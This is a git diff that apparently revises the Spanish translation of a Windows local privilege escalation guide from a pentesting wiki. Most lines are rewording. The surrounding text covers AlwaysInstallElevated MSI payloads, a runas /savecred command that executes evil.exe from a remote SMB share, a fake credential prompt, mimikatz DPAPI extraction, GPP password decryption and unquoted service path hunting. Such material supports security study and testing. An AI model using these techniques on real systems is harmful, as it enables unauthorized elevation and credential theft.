diff --git a/windows-hardening/windows-local-privilege-escalation/README.md b/windows-hardening/windows-local-privilege-escalation/README.md
index b8ab2547d..d194bbe4f 100644
--- a/windows-hardening/windows-local-privilege-escalation/README.md
+++ b/windows-hardening/windows-local-privilege-escalation/README.md
@@ -45,7 +45,7 @@ Aprende y practica Hacking en GCP: Si tenemos el poder de modificar nuestro proxy de usuario local, y Windows Updates utiliza el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
+> Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.
>
-> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y agregamos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza en el primer uso en el certificado. Si el certificado presentado es confiable para el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
+> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
-Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
+Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
## KrbRelayUp
@@ -229,7 +229,7 @@ Solo ejecuta el binario creado para escalar privilegios.
### MSI Wrapper
-Lee este tutorial para aprender a crear un envoltorio MSI usando estas herramientas. Ten en cuenta que puedes envolver un "**.bat**" si **solo** quieres **ejecutar** **líneas de comando**.
+Lee este tutorial para aprender cómo crear un envoltorio MSI usando estas herramientas. Ten en cuenta que puedes envolver un "**.bat**" si **solo** quieres **ejecutar** **líneas de comando**.
{% content-ref url="msi-wrapper.md" %}
[msi-wrapper.md](msi-wrapper.md)
@@ -244,7 +244,7 @@ Lee este tutorial para aprender a crear un envoltorio MSI usando estas herramien
### Crear MSI con Visual Studio
* **Genera** con Cobalt Strike o Metasploit un **nuevo payload TCP EXE de Windows** en `C:\privesc\beacon.exe`
-* Abre **Visual Studio**, selecciona **Crear un nuevo proyecto** y escribe "installer" en el cuadro de búsqueda. Selecciona el proyecto **Setup Wizard** y haz clic en **Siguiente**.
+* Abre **Visual Studio**, selecciona **Crear un nuevo proyecto** y escribe "instalador" en el cuadro de búsqueda. Selecciona el proyecto **Asistente de Configuración** y haz clic en **Siguiente**.
* Dale un nombre al proyecto, como **AlwaysPrivesc**, usa **`C:\privesc`** para la ubicación, selecciona **colocar solución y proyecto en el mismo directorio**, y haz clic en **Crear**.
* Sigue haciendo clic en **Siguiente** hasta que llegues al paso 3 de 4 (elegir archivos para incluir). Haz clic en **Agregar** y selecciona el payload Beacon que acabas de generar. Luego haz clic en **Finalizar**.
* Resalta el proyecto **AlwaysPrivesc** en el **Explorador de Soluciones** y en las **Propiedades**, cambia **TargetPlatform** de **x86** a **x64**.
@@ -266,9 +266,9 @@ Para explotar esta vulnerabilidad puedes usar: _exploit/windows/local/always\_in
## Antivirus y Detectores
-### Configuraciones de Auditoría
+### Configuración de Auditoría
-Estas configuraciones deciden qué se está **registrando**, así que debes prestar atención.
+Estos ajustes deciden qué se está **registrando**, así que debes prestar atención.
```
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
```
@@ -446,8 +446,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Si tienes este error (por ejemplo con SSDPSRV):
-_Error del sistema 1058 ha ocurrido._\
-_El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._
+_Se ha producido un error del sistema 1058._\
+_El servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados._
Puedes habilitarlo usando
```bash
@@ -518,7 +518,7 @@ Para cambiar la ruta del binario ejecutado:
```bash
reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```
-### Permisos AppendData/AddSubdirectory del registro de servicios
+### Permisos de AppendData/AddSubdirectory en el registro de servicios
Si tienes este permiso sobre un registro, esto significa que **puedes crear subregistros a partir de este**. En el caso de los servicios de Windows, esto es **suficiente para ejecutar código arbitrario:**
@@ -526,7 +526,7 @@ Si tienes este permiso sobre un registro, esto significa que **puedes crear subr
[appenddata-addsubdirectory-permission-over-service-registry.md](appenddata-addsubdirectory-permission-over-service-registry.md)
{% endcontent-ref %}
-### Rutas de servicio no entrecomilladas
+### Rutas de Servicio No Citadas
Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada final antes de un espacio.
@@ -536,12 +536,16 @@ C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
-Lista todos los caminos de servicio no entrecomillados, excluyendo aquellos que pertenecen a servicios integrados de Windows:
-```bash
-wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
-wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
+Lista todos los caminos de servicio no citados, excluyendo aquellos que pertenecen a servicios integrados de Windows:
+```powershell
+wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
+wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
-#Other way
+# Using PowerUp.ps1
+Get-ServiceUnquoted -Verbose
+```
+
+```powershell
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
@@ -549,7 +553,7 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
)
```
-```bash
+```powershell
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
**Puedes detectar y explotar** esta vulnerabilidad con metasploit: `exploit/windows/local/trusted\_service\_path` Puedes crear manualmente un binario de servicio con metasploit:
@@ -611,7 +615,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
### Controladores
-Busca posibles controladores **raros/vulnerables de terceros**.
+Busca posibles **controladores extraños/vulnerables de terceros**.
```bash
driverquery
driverquery.exe /fo table
@@ -619,7 +623,7 @@ driverquery /SI
```
## PATH DLL Hijacking
-Si tienes **permisos de escritura dentro de una carpeta presente en PATH** podrías ser capaz de secuestrar un DLL cargado por un proceso y **escalar privilegios**.
+Si tienes **permisos de escritura dentro de una carpeta presente en PATH** podrías ser capaz de secuestrar una DLL cargada por un proceso y **escalar privilegios**.
Verifica los permisos de todas las carpetas dentro de PATH:
```bash
@@ -714,7 +718,7 @@ La Bóveda de Windows almacena credenciales de usuario para servidores, sitios w
La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo.
-A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible para ellas usar las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
+A menos que las aplicaciones interactúen con el Administrador de Credenciales, no creo que sea posible que usen las credenciales para un recurso dado. Así que, si tu aplicación quiere hacer uso de la bóveda, debería de alguna manera **comunicarse con el administrador de credenciales y solicitar las credenciales para ese recurso** desde la bóveda de almacenamiento predeterminada.
Usa `cmdkey` para listar las credenciales almacenadas en la máquina.
```bash
@@ -724,7 +728,7 @@ Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
```
-Luego puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
+Entonces puedes usar `runas` con la opción `/savecred` para utilizar las credenciales guardadas. El siguiente ejemplo llama a un binario remoto a través de un recurso compartido SMB.
```bash
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
```
@@ -740,7 +744,7 @@ La **Interfaz de Programación de Aplicaciones de Protección de Datos (DPAPI)**
**DPAPI permite la encriptación de claves a través de una clave simétrica que se deriva de los secretos de inicio de sesión del usuario**. En escenarios que involucran la encriptación del sistema, utiliza los secretos de autenticación del dominio del sistema.
-Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security\_Identifier) del usuario. **La clave DPAPI, ubicada junto a la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
+Las claves RSA de usuario encriptadas, mediante DPAPI, se almacenan en el directorio `%APPDATA%\Microsoft\Protect\{SID}`, donde `{SID}` representa el [Identificador de Seguridad](https://en.wikipedia.org/wiki/Security\_Identifier) del usuario. **La clave DPAPI, co-localizada con la clave maestra que protege las claves privadas del usuario en el mismo archivo**, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido a través del comando `dir` en CMD, aunque se puede listar a través de PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@@ -754,8 +758,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
-Puedes usar el **módulo mimikatz** `dpapi::cred` con el `/masterkey` apropiado para desencriptar.\
-Puedes **extraer muchas DPAPI** **masterkeys** de **memoria** con el módulo `sekurlsa::dpapi` (si eres root).
+Puedes usar el módulo **mimikatz** `dpapi::cred` con el `/masterkey` apropiado para desencriptar.\
+Puedes **extraer muchos DPAPI** **masterkeys** de **memoria** con el módulo `sekurlsa::dpapi` (si eres root).
{% content-ref url="dpapi-extracting-passwords.md" %}
[dpapi-extracting-passwords.md](dpapi-extracting-passwords.md)
@@ -763,7 +767,7 @@ Puedes **extraer muchas DPAPI** **masterkeys** de **memoria** con el módulo `se
### Credenciales de PowerShell
-Las **credenciales de PowerShell** se utilizan a menudo para **scripting** y tareas de automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
+Las **credenciales de PowerShell** se utilizan a menudo para tareas de **scripting** y automatización como una forma de almacenar credenciales encriptadas de manera conveniente. Las credenciales están protegidas usando **DPAPI**, lo que generalmente significa que solo pueden ser desencriptadas por el mismo usuario en la misma computadora en la que fueron creadas.
Para **desencriptar** unas credenciales de PS del archivo que las contiene, puedes hacer:
```powershell
@@ -804,7 +808,7 @@ Puedes **extraer muchas claves maestras DPAPI** de la memoria con el módulo `se
### Sticky Notes
-Las personas a menudo utilizan la aplicación StickyNotes en estaciones de trabajo Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo.
+Las personas a menudo utilizan la aplicación StickyNotes en estaciones de trabajo con Windows para **guardar contraseñas** y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` y siempre vale la pena buscarlo y examinarlo.
### AppCmd.exe
@@ -984,15 +988,15 @@ AppData\Roaming\gcloud\access_tokens.db
```
### McAfee SiteList.xml
-Busca un archivo llamado **SiteList.xml**
+Busque un archivo llamado **SiteList.xml**
-### Cached GPP Pasword
+### Contraseña GPP en caché
-Una función estaba disponible anteriormente que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
+Anteriormente, había una función disponible que permitía el despliegue de cuentas de administrador local personalizadas en un grupo de máquinas a través de las Preferencias de Directiva de Grupo (GPP). Sin embargo, este método tenía fallas de seguridad significativas. En primer lugar, los Objetos de Directiva de Grupo (GPO), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 utilizando una clave predeterminada documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podría permitir a los usuarios obtener privilegios elevados.
-Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
+Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP en caché localmente que contengan un campo "cpassword" que no esté vacío. Al encontrar tal archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando en la identificación y remediación de esta vulnerabilidad de seguridad.
-Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ estos archivos:
+Busque en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (anterior a W Vista)_ para estos archivos:
* Groups.xml
* Services.xml
@@ -1001,7 +1005,7 @@ Busca en `C:\ProgramData\Microsoft\Group Policy\history` o en _**C:\Documents an
* Printers.xml
* Drives.xml
-**Para descifrar el cPassword:**
+**Para descifrar la cPassword:**
```bash
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
@@ -1062,9 +1066,9 @@ C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
```
-### Pedir credenciales
+### Ask for credentials
-Puedes siempre **pedir al usuario que ingrese sus credenciales o incluso las credenciales de otro usuario** si crees que puede conocerlas (ten en cuenta que **pedir** al cliente directamente las **credenciales** es realmente **arriesgado**):
+You can always **ask the user to enter his credentials of even the credentials of a different user** if you think he can know them (notice that **asking** the client directly for the **credentials** is really **risky**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@@ -1182,7 +1186,7 @@ Herramientas para extraer contraseñas de navegadores:
Las clases y interfaces COM se definen en el registro bajo **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** y **HKEY\_**_**CLASSES\_**_**ROOT\Interface** respectivamente. Este registro se crea fusionando **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
-Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiple) o **Neutral** (Hilo neutral).
+Dentro de los CLSIDs de este registro puedes encontrar el registro hijo **InProcServer32** que contiene un **valor predeterminado** que apunta a una **DLL** y un valor llamado **ThreadingModel** que puede ser **Apartment** (Un hilo), **Free** (Múltiples hilos), **Both** (Un hilo o múltiples) o **Neutral** (Hilo neutral).
![](<../../.gitbook/assets/image (729).png>)
@@ -1228,22 +1232,22 @@ Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
-## Manejadores Filtrados
+## Controladores Filtrados
Imagina que **un proceso que se ejecuta como SYSTEM abre un nuevo proceso** (`OpenProcess()`) con **acceso total**. El mismo proceso **también crea un nuevo proceso** (`CreateProcess()`) **con bajos privilegios pero heredando todos los manejadores abiertos del proceso principal**.\
-Entonces, si tienes **acceso total al proceso de bajos privilegios**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` e **inyectar un shellcode**.\
+Entonces, si tienes **acceso total al proceso de bajo privilegio**, puedes obtener el **manejador abierto al proceso privilegiado creado** con `OpenProcess()` y **inyectar un shellcode**.\
[Lee este ejemplo para más información sobre **cómo detectar y explotar esta vulnerabilidad**.](leaked-handle-exploitation.md)\
-[Lee esta **otra publicación para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+[Lee este **otro post para una explicación más completa sobre cómo probar y abusar de más manejadores abiertos de procesos e hilos heredados con diferentes niveles de permisos (no solo acceso total)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
-## Suplantación de Cliente de Pipe Nombrado
+## Suplantación de Cliente de Tubería Nombrada
-Los segmentos de memoria compartida, conocidos como **pipes**, permiten la comunicación entre procesos y la transferencia de datos.
+Los segmentos de memoria compartida, conocidos como **tuberías**, permiten la comunicación entre procesos y la transferencia de datos.
-Windows proporciona una característica llamada **Pipes Nombrados**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de pipe nombrado** y **cliente de pipe nombrado**.
+Windows proporciona una característica llamada **Tuberías Nombradas**, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como **servidor de tubería nombrada** y **cliente de tubería nombrada**.
-Cuando se envían datos a través de un pipe por un **cliente**, el **servidor** que configuró el pipe tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de un pipe que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con el pipe que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](./#from-high-integrity-to-system).
+Cuando se envían datos a través de una tubería por un **cliente**, el **servidor** que configuró la tubería tiene la capacidad de **asumir la identidad** del **cliente**, siempre que tenga los derechos necesarios de **SeImpersonate**. Identificar un **proceso privilegiado** que se comunica a través de una tubería que puedes imitar proporciona una oportunidad para **obtener privilegios más altos** al adoptar la identidad de ese proceso una vez que interactúa con la tubería que estableciste. Para instrucciones sobre cómo ejecutar tal ataque, se pueden encontrar guías útiles [**aquí**](named-pipe-client-impersonation.md) y [**aquí**](./#from-high-integrity-to-system).
-Además, la siguiente herramienta permite **interceptar una comunicación de pipe nombrado con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todos los pipes para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+Además, la siguiente herramienta permite **interceptar una comunicación de tubería nombrada con una herramienta como burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **y esta herramienta permite listar y ver todas las tuberías para encontrar privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Varios
@@ -1263,7 +1267,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
## De usuario de bajo privilegio a NT\AUTHORITY SYSTEM (CVE-2019-1388) / Bypass de UAC
-Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal u otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
+Si tienes acceso a la interfaz gráfica (a través de consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar un terminal o cualquier otro proceso como "NT\AUTHORITY SYSTEM" desde un usuario sin privilegios.
Esto hace posible escalar privilegios y eludir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario utilizado durante el proceso está firmado y emitido por Microsoft.
@@ -1370,7 +1374,7 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
## More help
-[Binarios estáticos de impacket](https://github.com/ropnop/impacket_static_binaries)
+[Static impacket binaries](https://github.com/ropnop/impacket\_static\_binaries)
## Useful tools
@@ -1384,8 +1388,8 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Verifica configuraciones incorrectas**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrae credenciales del Administrador de Credenciales. Detectado.**\
-[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rocía contraseñas recopiladas a través del dominio**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofador de PowerShell ADIDNS/LLMNR/mDNS/NBNS y herramienta de hombre en el medio.**\
+[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rociar contraseñas recopiladas a través del dominio**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh es un spoofador y herramienta de hombre en el medio de PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumeración básica de privesc en Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Busca vulnerabilidades de privesc conocidas (DEPRECATED for Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Comprobaciones locales **(Necesita derechos de administrador)**
@@ -1410,7 +1414,7 @@ Si logras **secuestrar un dll** que está siendo **cargado** por un **proceso**
**Meterpreter**
-_multi/recon/local_exploit_suggestor_
+_multi/recon/local\_exploit\_suggestor_
Tienes que compilar el proyecto usando la versión correcta de .NET ([ver esto](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Para ver la versión instalada de .NET en el host víctima, puedes hacer:
```